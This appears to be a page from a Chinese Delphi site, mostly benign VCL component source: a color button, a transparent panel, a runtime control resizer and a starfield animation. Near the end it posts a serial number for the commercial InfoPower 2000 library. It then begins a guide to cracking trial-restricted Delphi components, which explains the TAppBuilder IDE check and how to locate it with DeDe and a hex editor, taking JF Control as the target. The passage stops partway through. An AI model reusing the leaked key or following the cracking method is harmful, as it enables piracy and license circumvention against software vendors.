procedure TColorButton.WMLButtonDblClk(var Message: TWMLButtonDblClk);

begin

Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));

end;

procedure TColorButton.DrawButton(Rect: TRect; State: UINT);

var

Flags, OldMode: Longint;

IsDown, IsDefault, IsDisabled: Boolean;

OldColor: TColor;

OrgRect: TRect;

begin

OrgRect := Rect;

Flags := DFCS_BUTTONPUSH or DFCS_ADJUSTRECT;

IsDown := State and ODS_SELECTED <> 0;

IsDefault := State and ODS_FOCUS <> 0;

IsDisabled := State and ODS_DISABLED <> 0;

if IsDown then Flags := Flags or DFCS_PUSHED;

if IsDisabled then Flags := Flags or DFCS_INACTIVE;

if IsFocused or IsDefault then

begin

FCanvas.Pen.Color := clWindowFrame;

FCanvas.Pen.Width := 1;

FCanvas.Brush.Style := bsClear;

FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);

InflateRect(Rect, - 1, - 1);

end;

if IsDown then

begin

FCanvas.Pen.Color := clBtnShadow;

FCanvas.Pen.Width := 1;

FCanvas.Brush.Color := clBtnFace;

FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);

InflateRect(Rect, - 1, - 1);

end

else

DrawFrameControl(FCanvas.Handle, Rect, DFC_BUTTON, Flags);

if IsDown then OffsetRect(Rect, 1, 1);

OldColor := FCanvas.Brush.Color;

FCanvas.Brush.Color := Color;

FCanvas.FillRect(Rect);

FCanvas.Brush.Color := OldColor;

OldMode := SetBkMode(FCanvas.Handle, TRANSPARENT);

FCanvas.Font.Color := clBtnText;

if IsDisabled then

DrawState(FCanvas.Handle, FCanvas.Brush.Handle, nil, Integer(Caption), 0,

((Rect.Right - Rect.Left) - FCanvas.TextWidth(Caption)) div 2,

((Rect.Bottom - Rect.Top) - FCanvas.TextHeight(Caption)) div 2,

0, 0, DST_TEXT or DSS_DISABLED)

else

DrawText(FCanvas.Handle, PChar(Caption), - 1, Rect,

DT_SINGLELINE or DT_CENTER or DT_VCENTER);

SetBkMode(FCanvas.Handle, OldMode);

if Assigned(FOnDrawButton) then

FOnDrawButton(Self, Rect, TOwnerDrawState(LongRec(State).Lo));

if IsFocused and IsDefault then

begin

Rect := OrgRect;

InflateRect(Rect, - 4, - 4);

FCanvas.Pen.Color := clWindowFrame;

FCanvas.Brush.Color := clBtnFace;

DrawFocusRect(FCanvas.Handle, Rect);

end;

end;

end.


透明Panel

透明Panel

unit TranPanel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

TGlassStyle = (

gsBlackness, gsDstInvert, gsMergeCopy, gsMergePaint, gsNotSrcCopy,

gsNotSrcErase, gsPatCopy, gsPatInvert, gsPatPaint, gsSrcAnd,

gsSrcCopy, gsSrcErase, gsSrcInvert, gsSrcPaint, gsWhiteness);

TGlass = class(TCustomControl)

private

FColor: TColor;

FStyle: TGlassStyle;

FOnPaint: TNotifyEvent;

procedure SetColor(Value: TColor);

procedure SetStyle(Value: TGlassStyle);

procedure CMCtl3DChanged(var Message: TMessage); message CM_CTL3DCHANGED;

procedure WMEraseBkgnd(var Message: TMessage); message WM_ERASEBKGND;

procedure WMWindowPosChanging(var Message: TWMWindowPosChanging); message WM_WINDOWPOSCHANGING;

protected

Buffer: TBitmap;

procedure CreateParams(var Params: TCreateParams); override;

procedure Paint; override;

procedure Resize; override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property Canvas;

published

property Align;

property Anchors;

property AutoSize;

property BiDiMode;

property BorderWidth;

property Color: TColor read FColor write SetColor;

property Ctl3D;

property Enabled;

property Style: TGlassStyle read FStyle write SetStyle default gsSrcAnd;

property Visible;

property OnClick;

property OnDblClick;

property OnEnter;

property OnExit;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnResize;

property OnPaint: TNotifyEvent read FOnPaint write FOnPaint;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Croco', [TGlass]);

end;

function GlassStyleToInt(gs: TGlassStyle): LongInt;

begin

case gs of

gsBlackness : Result := cmBlackness;

gsDstInvert : Result := cmDstInvert;

gsMergeCopy : Result := cmMergeCopy;

gsMergePaint : Result := cmMergePaint;

gsNotSrcCopy : Result := cmNotSrcCopy;

gsNotSrcErase: Result := cmNotSrcErase;

gsPatCopy : Result := cmPatCopy;

gsPatInvert : Result := cmPatInvert;

gsPatPaint : Result := cmPatPaint;

gsSrcAnd : Result := cmSrcAnd;

gsSrcCopy : Result := cmSrcCopy;

gsSrcErase : Result := cmSrcErase;

gsSrcInvert : Result := cmSrcInvert;

gsSrcPaint : Result := cmSrcPaint;

gsWhiteness : Result := cmWhiteness;

else Assert(True, 'Error parameter in function GlassStyleToInt');

end;

end;

constructor TGlass.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

Buffer := TBitmap.Create;

ControlStyle := [csAcceptsControls, csCaptureMouse, csClickEvents,

csDoubleClicks, csReplicatable];

Width := 100;

Height := 100;

FStyle := gsSrcAnd;

ParentCtl3d := False;

Ctl3D := False;

ParentColor := False;

FColor := clWhite;

end;

destructor TGlass.Destroy;

begin

Buffer.Free;

inherited Destroy;

end;

procedure TGlass.Paint;

var

R: TRect;

rop: LongInt;

begin

R := Rect(0, 0, Width, Height);

Buffer.Width := Width;

Buffer.Height := Height;

Buffer.Canvas.Brush.Style := bsSolid;

Buffer.Canvas.Brush.Color := FColor;

Buffer.Canvas.FillRect(Rect(0, 0, Width, Height));

rop := GlassStyleToInt(FStyle);

StretchBlt(Buffer.Canvas.Handle, 0, 0, Width, Height,

Canvas.Handle, 0, 0, Width, Height, rop);

if Ctl3D then DrawEdge(Buffer.Canvas.Handle, R, BDR_RAISEDINNER, BF_RECT);

Buffer.Canvas.Pen.Mode := pmCopy;

Buffer.Canvas.Pen.Style := psSolid;

Canvas.Draw(0, 0, Buffer);

if Assigned(FOnPaint) then FOnPaint(Self);

end;

procedure TGlass.SetColor(Value: TColor);

begin

if Value <> FColor then

begin

FColor := Value;

RecreateWnd;

end;

end;

procedure TGlass.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

Params.ExStyle := Params.ExStyle + WS_EX_TRANSPARENT;

end;

procedure TGlass.WMWindowPosChanging(var Message: TWMWindowPosChanging);

begin

Invalidate;

inherited;

end;

procedure TGlass.WMEraseBkgnd(var Message: TMessage);

begin

Message.Result := 0;

end;

procedure TGlass.Resize;

begin

Invalidate;

inherited;

end;

procedure TGlass.CMCtl3DChanged(var Message: TMessage);

begin

inherited;

RecreateWnd;

end;

procedure TGlass.SetStyle(Value: TGlassStyle);

begin

if Value <> FStyle then

begin

FStyle := Value;

RecreateWnd;

end;

end;

end.


运行时让控件的外观象设计时一样的控件

unit Resizer;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

const

GRIDDEFAULT = 4;

type

TResizer = class;

TMover = class;

TMovingEvent = procedure(Sender: TResizer; var NewLeft, NewTop: integer) of object;

TSizingEvent = procedure(Sender: TResizer; var NewLeft, NewTop, NewWidth, NewHeight: integer) of object;

TResizer = class(TComponent)

protected

FActive : boolean;

FControl : TControl;

Sizers : TList;

GroupMovers : TList;

FGroup : TWinControl;

FGridX : integer;

FGridY : integer;

FOnSized : TNotifyEvent;

FOnSizing : TSizingEvent;

FOnMoved : TNotifyEvent;

FOnMoving : TMovingEvent;

Sizing : boolean;

Moving : boolean;

OrigSize : TRect;

NewSize : TRect;

DownX : integer;

DownY : integer;

FAllowSize : boolean;

FAllowMove : boolean;

FKeepIn : boolean;

FHotTrack : boolean;

OneMover : TMover;

CurMover : TMover;

procedure Notification(AComponent: TComponent; Operation: TOperation); override;

procedure SetActive(b: boolean);

procedure SetControl(c: TControl);

procedure SetGroup(p: TWinControl);

procedure CreateSizers;

procedure CheckSizers;

procedure ShowSizers;

procedure HideSizers;

procedure SizerDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure SizerUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure SizerMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

procedure MoverDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure MoverUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure MoverMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

procedure DrawSizeRect(Rect: TRect);

procedure Calc_Size_Rect(SizerNum, dx, dy: integer);

procedure DoSizingEvent;

procedure Calc_Move_Rect(dx, dy: integer);

procedure DoMovingEvent;

procedure Constrain_Size;

procedure Constrain_Move;

procedure MoverKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

procedure DoSizeMove(var Key: Word; Shift: TShiftState; dx, dy: integer);

procedure CreateGroupMovers;

procedure CreateOneMover(m: TMover; c: TControl);

function FindMoverByBuddy(c: TControl): TMover;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

property Active: boolean read FActive write SetActive default True;

property ResizeControl: TControl read FControl write SetControl;

property ResizeGroup: TWinControl read FGroup write SetGroup;

property GridX: integer read FGridX write FGridX default GRIDDEFAULT;

property GridY: integer read FGridY write FGridY default GRIDDEFAULT;

property OnSized: TNotifyEvent read FOnSized write FOnSized;

property OnSizing: TSizingEvent read FOnSizing write FOnSizing;

property OnMoved: TNotifyEvent read FOnMoved write FOnMoved;

property OnMoving: TMovingEvent read FOnMoving write FOnMoving;

property AllowSize: boolean read FAllowSize write FAllowSize default True;

property AllowMove: boolean read FAllowMove write FAllowMove default True;

property KeepInParent: boolean read FKeepIn write FKeepIn default True;

property HotTrack: boolean read FHotTrack write FHotTrack;

end;

TInvisWin = class(TPanel) // This could also derive from TPanel

protected

procedure WndProc(var Message: TMessage); override;

procedure CreateParams(var Params: TCreateParams); override;

procedure WMDLGCode(var Message: TMessage); message WM_GETDLGCODE;

public

property OnKeyDown;

end;

TMover = class(TInvisWin)

public

Buddy : TControl;

procedure Show;

end;

procedure Register;

implementation

const

SIZE = 6;

HALFSIZE = SIZE div 2;

type

TSizer = class(TPanel)

end;

procedure Register;

begin

RegisterComponents('Samples', [TResizer]);

end;

// *****************************************************************

// TInvisWin

procedure TInvisWin.WndProc(var Message: TMessage);

var

ps : TPaintStruct;

begin

case Message.Msg of

WM_ERASEBKGND: Message.Result := 1;

WM_PAINT: begin

BeginPaint(Handle, ps);

EndPaint(Handle, ps);

Message.Result := 1;

end;

else

inherited WndProc(Message);

end;

end;

procedure TInvisWin.CreateParams(var Params: TCreateParams);

begin

inherited;

Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;

end;

procedure TInvisWin.WMDLGCode(var Message: TMessage);

begin

Message.Result := DLGC_WANTARROWS or DLGC_WANTALLKEYS;

end;

// *****************************************************************

// TMover

procedure TMover.Show;

begin

Assert(Buddy <> nil);

BoundsRect := Buddy.BoundsRect;

Parent := Buddy.Parent;

Visible := True;

BringToFront;

end;

// *****************************************************************

// TResizer

constructor TResizer.Create(AOwner: TComponent);

begin

inherited;

FActive := True;

FKeepIn := True;

FGridX := GRIDDEFAULT;

FGridY := GRIDDEFAULT;

FAllowSize := True;

FAllowMove := True;

GroupMovers := TList.Create;

Sizers := TList.Create;

OneMover := TMover.Create(Self);

CreateOneMover(OneMover, nil);

CreateSizers;

end;

destructor TResizer.Destroy;

begin

GroupMovers.Free;

Sizers.Free;

Sizers := nil;

inherited;

end;

procedure TResizer.Notification(AComponent: TComponent; Operation: TOperation);

begin

inherited;

if csDestroying in ComponentState then exit;

if (AComponent = ResizeControl) and (Operation = opRemove) then

ResizeControl := nil;

end;

procedure TResizer.SetActive(b: boolean);

begin

if b<>FActive then begin

FActive := b;

CheckSizers;

end;

end;

procedure TResizer.SetControl(c: TControl);

begin

if c <> FControl then begin

if c<>nil then begin

if ResizeGroup<>nil then begin

Assert(c.Parent = ResizeGroup, 'ResizeControl is not in ResizeGroup!');

CurMover := FindMoverByBuddy(c);

end else begin

CurMover := OneMover;

CurMover.Buddy := c;

end;

CurMover.Show;

end;

FControl := c;

CheckSizers;

end;

end;

procedure TResizer.SetGroup(p: TWinControl);

begin

if p <> FGroup then begin

FGroup := p;

CreateGroupMovers;

end;

end;

procedure TResizer.CreateGroupMovers;

var

i : integer;

m : TMover;

c : TControl;

begin

if csDesigning in ComponentState then exit;

// Clear out the old Movers

for i := 0 to GroupMovers.Count-1 do

TObject(GroupMovers[i]).Free;

GroupMovers.Clear;

if ResizeGroup <> nil then begin

for i := 0 to ResizeGroup.ControlCount-1 do begin

c := ResizeGroup.Controls[i];

if (c is TMover) or (c is TSizer) then continue;

m := TMover.Create(Self);

CreateOneMover(m, c);

GroupMovers.Add(m);

m.Show;

end;

end;

end;

procedure TResizer.CreateSizers;

var

i : integer;

p : TSizer;

begin

if csDesigning in ComponentState then exit;

for i := 0 to 7 do begin

p := TSizer.Create(Self);

Sizers.Add(p);

p.BevelOuter := bvNone;

p.Width := SIZE;

p.Height := SIZE;

p.Color := clBlack;

p.Caption := '';

p.Tag := i;

p.OnMouseDown := SizerDown;

p.OnMouseUp := SizerUp;

p.OnMouseMove := SizerMove;

p.TabStop := False;

case i of

0, 7 : p.Cursor := crSizeNWSE;

2, 5 : p.Cursor := crSizeNESW;

1, 6 : p.Cursor := crSizeNS;

3, 4 : p.Cursor := crSizeWE;

end;

end;

end;

procedure TResizer.CreateOneMover(m: TMover; c: TControl);

begin

m.OnMouseDown := MoverDown;

m.OnMouseUp := MoverUp;

m.OnMouseMove := MoverMove;

m.TabStop := True;

m.OnKeyDown := MoverKeyDown;

m.Buddy := c;

end;

procedure TResizer.CheckSizers;

begin

if (ResizeControl<>nil) and Active and (not (csDesigning in ComponentState)) then

ShowSizers

else

HideSizers;

end;

procedure TResizer.ShowSizers;

var

i : integer;

p : TPanel;

c : TControl;

begin

c := ResizeControl;

Assert(c <> nil);

for i := 0 to 7 do begin

p := TPanel(Sizers[i]);

case i of

0, 1, 2 : p.Top := c.Top - HALFSIZE;

3, 4 : p.Top := c.Top + c.Height div 2 - HALFSIZE;

5, 6, 7 : p.Top := c.Top + c.Height - HALFSIZE;

end;

case i of

0, 3, 5 : p.Left := c.Left - HALFSIZE;

1, 6 : p.Left := c.Left + c.Width div 2 - HALFSIZE;

2, 4, 7 : p.Left := c.Left + c.Width - HALFSIZE;

end;

end;

Assert(CurMover<>nil);

CurMover.Show;

for i := 0 to Sizers.Count-1 do begin

p := TPanel(Sizers[i]);

p.Parent := c.Parent;

p.Visible := True;

p.BringToFront;

end;

if CurMover.HandleAllocated and CurMover.CanFocus then

CurMover.SetFocus;

end;

procedure TResizer.HideSizers;

var

i : integer;

p : TPanel;

begin

for i := 0 to Sizers.Count-1 do begin

p := TPanel(Sizers[i]);

p.Visible := False;

p.Update;

end;

OneMover.Visible := False;

end;

procedure TResizer.SizerDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

Sizing := True;

DownX := X;

DownY := Y;

HideSizers;

ResizeControl.Parent.Update;

ResizeControl.Update;

OrigSize := ResizeControl.BoundsRect;

NewSize := OrigSize;

DrawSizeRect(NewSize);

end;

procedure DoSwap(DoSwap: boolean; var a, b: integer);

var

t : integer;

begin

if DoSwap then begin

t := a;

a := b;

b := t;

end;

end;

procedure TResizer.SizerUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

if NewSize.Right < NewSize.Left then

DoSwap(True, NewSize.Right, NewSize.Left);

if NewSize.Bottom < NewSize.Top then

DoSwap(True, NewSize.Bottom, NewSize.Top);

Sizing := False;

DrawSizeRect(NewSize);

ResizeControl.Invalidate;

ResizeControl.BoundsRect := NewSize;

ShowSizers;

if Assigned(OnSized) then OnSized(Self);

end;

procedure TResizer.SizerMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

if Sizing then begin

DrawSizeRect(NewSize);

if AllowSize then begin

Calc_Size_Rect((Sender as TSizer).Tag, X - DownX, Y - DownY);

DoSizingEvent;

end;

DrawSizeRect(NewSize);

if HotTrack then ResizeControl.BoundsRect := NewSize;

end;

end;

procedure TResizer.DoSizingEvent;

var

tmpWid, tmpHgt : integer;

begin

tmpWid := NewSize.Right - NewSize.Left;

tmpHgt := NewSize.Bottom - NewSize.Top;

if Assigned(OnSizing) then

OnSizing(Self, NewSize.Left, NewSize.Top, tmpWid, tmpHgt);

NewSize.Right := NewSize.Left + tmpWid;

NewSize.Bottom := NewSize.Top + tmpHgt;

end;

procedure GetNonClientOffset(h: THandle; var nx, ny: integer);

var

p : TPoint;

R : TRect;

begin

p := Point(0, 0);

Windows.ClientToScreen(h, p);

Windows.GetWindowRect(h, R);

nx := p.x - R.Left;

ny := p.y - R.Top;

end;

procedure TResizer.DrawSizeRect(Rect: TRect);

var

h : THandle;

dc : THandle;

c : TCanvas;

nx, ny : integer;

OldPen : TPen;

OldBrush : TBrush;

begin

if HotTrack then exit;

h := (ResizeControl.Parent as TWinControl).Handle;

GetNonClientOffset(h, nx, ny);

dc := GetWindowDC(h);

try

c := TCanvas.Create;

c.Handle := dc;

OldPen := TPen.Create;

OldPen.Assign(c.Pen);

OldBrush := TBrush.Create;

OldBrush.Assign(c.Brush);

c.Pen.Width := 2;

c.Pen.Mode := pmXOR;

c.Pen.Color := clWhite;

c.Brush.Style := bsClear;

c.Rectangle(Rect.Left + nx, Rect.Top + ny, Rect.Right + nx, Rect.Bottom + ny);

c.Pen.Assign(OldPen);

OldPen.Free;

c.Brush.Assign(OldBrush);

OldBrush.Free;

c.Handle := 0;

c.Free;

finally

ReleaseDC(h, dc);

end;

end;

procedure TResizer.Calc_Size_Rect(SizerNum, dx, dy: integer);

begin

dx := (dx div GridX) * GridX;

dy := (dy div GridY) * GridY;

case SizerNum of

0, 1, 2 : NewSize.Top := OrigSize.Top + dy;

5, 6, 7 : NewSize.Bottom := OrigSize.Bottom + dy;

end;

case SizerNum of

0, 3, 5 : NewSize.Left := OrigSize.Left + dx;

2, 4, 7 : NewSize.Right := OrigSize.Right + dx;

end;

if KeepInParent then Constrain_Size;

end;

procedure TResizer.MoverDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

CurMover := Sender as TMover;

FControl := CurMover.Buddy;

Assert(FControl<>nil);

FControl.BringToFront;

CurMover.BringToFront;

Moving := True;

DownX := X;

DownY := Y;

HideSizers;

ResizeControl.Parent.Update;

ResizeControl.Update;

OrigSize := ResizeControl.BoundsRect;

NewSize := OrigSize;

DrawSizeRect(NewSize);

end;

procedure TResizer.MoverUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

Moving := False;

ResizeControl.BoundsRect := NewSize;

CurMover.Invalidate;

ResizeControl.Refresh;

DrawSizeRect(NewSize);

ShowSizers;

if Assigned(OnMoved) then OnMoved(Self);

end;

procedure TResizer.Calc_Move_Rect(dx, dy: integer);

begin

NewSize := OrigSize;

dx := (dx div GridX) * GridX;

dy := (dy div GridY) * GridY;

OffsetRect(NewSize, dx, dy);

if KeepInParent then Constrain_Move;

end;

procedure TResizer.DoMovingEvent;

var

tmpWid, tmpHgt : integer;

begin

tmpWid := NewSize.Right - NewSize.Left;

tmpHgt := NewSize.Bottom - NewSize.Top;

if Assigned(OnMoving) then

OnMoving(Self, NewSize.Left, NewSize.Top);

NewSize.Right := NewSize.Left + tmpWid;

NewSize.Bottom := NewSize.Top + tmpHgt;

end;

procedure TResizer.MoverMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

var

dx, dy: integer;

begin

if Moving then begin

DrawSizeRect(NewSize);

if AllowMove then begin

dx := X - DownX;

dy := Y - DownY;

Calc_Move_Rect(dx, dy);

DoMovingEvent;

end;

DrawSizeRect(NewSize);

if HotTrack then ResizeControl.BoundsRect := NewSize;

end;

end;

procedure TResizer.Constrain_Size;

var

p : TWinControl;

begin

p := ResizeControl.Parent;

with NewSize do begin

if Left < 0 then Left := 0;

if Top < 0 then Top := 0;

if Right > p.ClientWidth then Right := p.ClientWidth;

if Bottom > p.ClientHeight then Bottom := p.ClientHeight;

if Right < Left + GridX then Right := Left + GridX;

if Bottom < Top + GridY then Bottom := Top + GridY;

end;

end;

procedure TResizer.Constrain_Move;

begin

if NewSize.Left < 0 then

OffsetRect(NewSize, -NewSize.Left, 0);

if NewSize.Top < 0 then

OffsetRect(NewSize, 0, -NewSize.Top);

if NewSize.Right > ResizeControl.Parent.ClientWidth then

OffsetRect(NewSize, ResizeControl.Parent.ClientWidth - NewSize.Right, 0);

if NewSize.Bottom > ResizeControl.Parent.ClientHeight then

OffsetRect(NewSize, 0, ResizeControl.Parent.ClientHeight - NewSize.Bottom);

end;

procedure TResizer.MoverKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

if Active then begin

case Key of

VK_LEFT : DoSizeMove(Key, Shift, -GridX, 0);

VK_RIGHT : DoSizeMove(Key, Shift, GridX, 0);

VK_UP : DoSizeMove(Key, Shift, 0, -GridY);

VK_DOWN : DoSizeMove(Key, Shift, 0, GridY);

end;

end;

end;

procedure TResizer.DoSizeMove(var Key: Word; Shift: TShiftState; dx, dy: integer);

begin

if (ssCtrl in Shift) or (ssShift in Shift) then begin

Key := 0;

NewSize := ResizeControl.BoundsRect;

if (ssCtrl in Shift) and AllowMove then begin

OffsetRect(NewSize, dx, dy);

if KeepInParent then Constrain_Move;

DoMovingEvent;

end;

if (ssShift in Shift) and AllowSize then begin

NewSize.Right := NewSize.Right + dx;

NewSize.Bottom := NewSize.Bottom + dy;

if KeepInParent then Constrain_Size;

DoSizingEvent;

end;

ResizeControl.BoundsRect := NewSize;

ShowSizers;

end;

end;

function TResizer.FindMoverByBuddy(c: TControl): TMover;

var

i : integer;

begin

Result := nil;

for i := 0 to GroupMovers.Count-1 do

if TMover(GroupMovers[i]).Buddy = c then

Result := GroupMovers[i];

Assert(Result <> nil);

end;

end.


Rar格式的Bar控件
在下偶然得之，很好的一个控件。

下载>>> RarBar.rar


一个模拟星空的控件

弄个form放一个，启动active，看看有什么效果。

unit LightSpd;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, ExtCtrls ;

type

PStar =^TStar;

TStar =record

C, {color}

X,Y, {center X,Y}

W :integer;{width}

L,T,R,B, {coordiants}

S :single; {step}

end;

TLightSpeedSpeed =(lsSlower,lsSlow,lsNormal,lsFast,lsFaster,lsLight);

TLightSpeedOption =(loColored,loMultiplay);

TLightSpeedOptions = set of TLightSpeedOption;

TLightSpeed = class(TGraphicControl)

private

FStarsCount :byte;

FBrightness :byte;

FSpeed :TLightSpeedSpeed;

FOptions :TLightSpeedOptions;

FInterval :integer;

FCenterX,FCenterY :integer;

FActive :boolean;

Timer: TTimer;

Stars: array[1..255] of tStar;

LX,LY,LS :integer;

procedure SetInterval (value :integer);

procedure SetActive (value :boolean);

protected

procedure Go(Sender: TObject);

procedure Paint; override;

public

constructor Create(aOwner: TComponent); override;

destructor Destroy; override;

published

property StarsCount :byte read FStarsCount write FStarsCount default 100;

property Brightness :byte read FBrightness write FBrightness default 96;

property Speed :TLightSpeedSpeed read FSpeed write FSpeed default lsNormal;

property Options :TLightSpeedOptions read FOptions write FOptions;

property Interval :integer read FInterval write SetInterval default 50;

property Active :boolean read FActive write SetActive default false;

property ParentShowHint;

property ShowHint;

property Color default clBlack;

property ParentColor;

property Width default 200;

property Height default 160;

property Align default alNone;

property Visible;

property CenterX :integer read FCenterX write FCenterX;

property CenterY :integer read FCenterY write FCenterY;

end;

procedure Register;

implementation

function Min (X,Y :integer) :integer;

begin

if X<Y then Min:=X else Min:=Y;

end;

constructor TLightSpeed.Create(aOwner: TComponent);

begin

inherited Create(aOwner);

ControlStyle := ControlStyle + [csReplicatable];

FStarsCount:=100;

FBrightness:=96;

FSpeed:=lsNormal;

FOptions:=[loColored,loMultiplay];

FInterval:=50;

FActive:=false;

Width:=200;

Height:=160;

Align:=alNone;

Color:=clBlack;

FCenterX:=Width div 2; FCenterY:=Height div 2;

LX:=Min(FCenterX,FCenterY); LY:=LX;

LS:=round(sqrt(LX*LX/2));

randomize;

fillchar(Stars,sizeof(Stars),$FF);

Timer:=TTimer.Create(Self);

Timer.Interval:=0;

Timer.OnTimer:=Go;

end;

destructor TLightSpeed.Destroy;

begin

Timer.Free;

inherited;

end;

procedure TLightSpeed.SetInterval(value :integer);

begin

if value<>FInterval then begin

FInterval:=value;

Timer.Interval:=FInterval;

end;

end;

procedure TLightSpeed.SetActive(value :boolean);

begin

if value<>FActive then begin

FActive:=value;

if FActive then Timer.Interval:=FInterval

else Timer.Interval:=0;

end;

end;

{procedure TLightSpeed.SetColor(value :tColor);

begin

if value<>Color then begin

Canvas.Brush.Color:=value;

Repaint;

end;

inherited;

end;

}

procedure TLightSpeed.Paint;

begin

Canvas.Brush.Color := Color;

Canvas.FillRect(Rect(0,0,Width,Height));

{ Canvas.Pen.Color := clBtnShadow;

Canvas.PolyLine([Point(0,Height-1), Point(0,0), Point(Width-1,0)]);

Canvas.Pen.Color := clBtnHighlight;

Canvas.PolyLine([Point(Width-1,0), Point(Width-1,Height-1), Point(0,Height-1)]);}

end;

procedure TLightSpeed.Go(Sender: TObject);

var

Dot :integer;

red,green,blue :byte;

begin

LX:=Min(Height div 4,Width div 4); LY:=LX;

LS:=round(sqrt(LX*LX/2));

if not Visible and not (csDesigning in ComponentState) then exit;

for Dot:=1 to 255 do with Stars[Dot] do begin

if C<>-1 then begin

{clear line}

Canvas.Pen.Width:=W;

Canvas.Pen.Color:=Color;

Canvas.MoveTo(round(X+L),round(Y+T));

Canvas.LineTo(round(X+R),round(Y+B));

end

else begin

{define new line}

if Dot>FStarsCount then continue;

repeat

L:=random(LX)-LX div 2;

T:=random(LY)-LY div 2;

S:=sqrt(L*L+T*T);

until (S>6);

S:=1+succ(ord(FSpeed))/(S*S/LS*5);

R:=L*S*1.01; B:=T*S*1.01; {length 1 - 1.1}

blue:=random($40);

if loColored in FOptions then begin green:=random($40); red:=random($40); end

else begin green:=blue; red:=blue; end;

C:=FBrightness shl 16 + FBrightness shl 8 + FBrightness +

blue shl 16 + green shl 8 + red;

W:=1+byte(random(20)=0)+byte(random(20)=0);

end;

X:=FCenterX; Y:=FCenterY;

{draw line}

L:=L*S; R:=R*S;

T:=T*S; B:=B*S;

if loMultiplay in FOptions then begin

blue := Min($FF, C shr 16 + random(round((S*S*S*S))));

if loColored in FOptions then begin

green:= Min($FF, C shr 8 and $FF + random(round((S*S*S*S))));

red := Min($FF, C and $FF + random(round((S*S*S*S))));

end

else begin green:=blue; red:=blue; end;

C:=integer(blue) shl 16 + green shl 8 + red;

end;

Canvas.Pen.Width:=W; Canvas.Pen.Color:=C;

Canvas.MoveTo(round(X+L),round(Y+T));

Canvas.LineTo(round(X+R),round(Y+B));

if ((X+L<-5) or (X+L>ClientWidth+5))

or ((Y+T<-5) or (Y+T>ClientHeight+5))

then C:=-1;

end;

end;

procedure Register;

begin

RegisterComponents('Samples', [TLightSpeed]);

end;

end.


InfoPower 2000 S/N
SN: IP8250248391


控件破解指南

控件破解指南

MikeDeakins

注意：本文的转载必须获得作者同意（作者电子邮件地址：

MikeDeakins@ChinaRen.com ）。

不像可执行文件，Delphi / C++ Builder 的控件是不能利用 SoftIce 进行动态跟踪的，但

是，这并不意味着控件的破解比可执行文件的破解要困难。

要想破解一个控件，首先要弄明白它为什么能够产生限制。一般来讲，带有限制的控件

只能在 IDE 中运行。这就意味着，这个控件必须有一种既定的机制来判断当前执行环境是

否是在 IDE 内部。Delphi / C++ Builder 的 IDE 具有什么样的特征呢？自从 Delphi 1.0 开

始，IDE 的主窗口的类名始终没有改变过，一直是 TAppBuilder ，并且，这个窗口没有子窗

口。几乎所有限制控件都是用这个特征来判断当前是否是在 IDE 内部的。虽然枚举系统中

的所有进程，并且判断进程文件名是否是 Delphi32.exe 也似乎可行，但是这会在程序执行

的时候产生明显的延迟，所以目前为止，我还没有发现使用这种方法的实例。

只要了解了这些，破解控件就成为了可能。实际进行破解的时候，需要两个重要的工具

软件：DeDe 2.50 和 Ultra Edit ，前者用来分析 DCU 文件，后者用来对二进制文件进行编

辑。

下面，我将利用破解 JF Control Delphi 版本的实际例子来说明破解的方法。JF Control

的未破解版本可以在 http://www.jfactivesoft.com/spindex.htm 下载。

安装好这套控件以后，我们首先来分析它所有的 DCU 之间的关系。判断限制条件的

部分必然要被所有其它单元所使用，这样才能保证不管在程序中引用了哪一个单元都能够保

证程序不能在 IDE 外执行。当然，寻找这个单元并不一定需要使用 DeDe 打开所有 DCU 。

发现 Delphi Lib.dcu 了吗？这就是一个再明显不过的标志：这是一个主单元，限制

条件有很大可能就是在这里判断的。好，我们再使用另外一招：使用资源管理器在 Delphi

目录中对文件进行搜索，条件是文件内容包含 TAppBuilder 。如果在程序中要查找

TAppBuilder 窗口类，就必须用到 FindWindow 函数，这个函数要求传递窗口类的名字字符串，

在 DCU 中应当有相应的字符串存在。查找的结果，符合条件的文件只有两个：

JFCtrls_d5.dcp 和 JFMain.dcu 。DCP 是 Delphi Component Package 的缩写，是在 Delphi

IDE 内部使用的控件包，既然是内部使用的，根本不用去管它。但是，另外一个文件则证

明了我们刚才的判断，好，准备破解。

运行 DeDe 程序，在 Dumper 菜单中选择 DCU Dumper ，在打开文件对话框中选择

JFMain.dcu 。处理完毕以后，在反编译的文本框中全选所有文本并且复制，然后粘贴到记事

本中。在记事本中查找字符串 TAppBuilder 。寻找的结果好像并不太令人满意：

const

szTAppBuilder:System.AnsiString ='О惫紶棩 ?{@_NF_7E5+$8};

原来这个字符串是一个常量的名字。常量的内容是不可识别的字符串，显然，加密了。

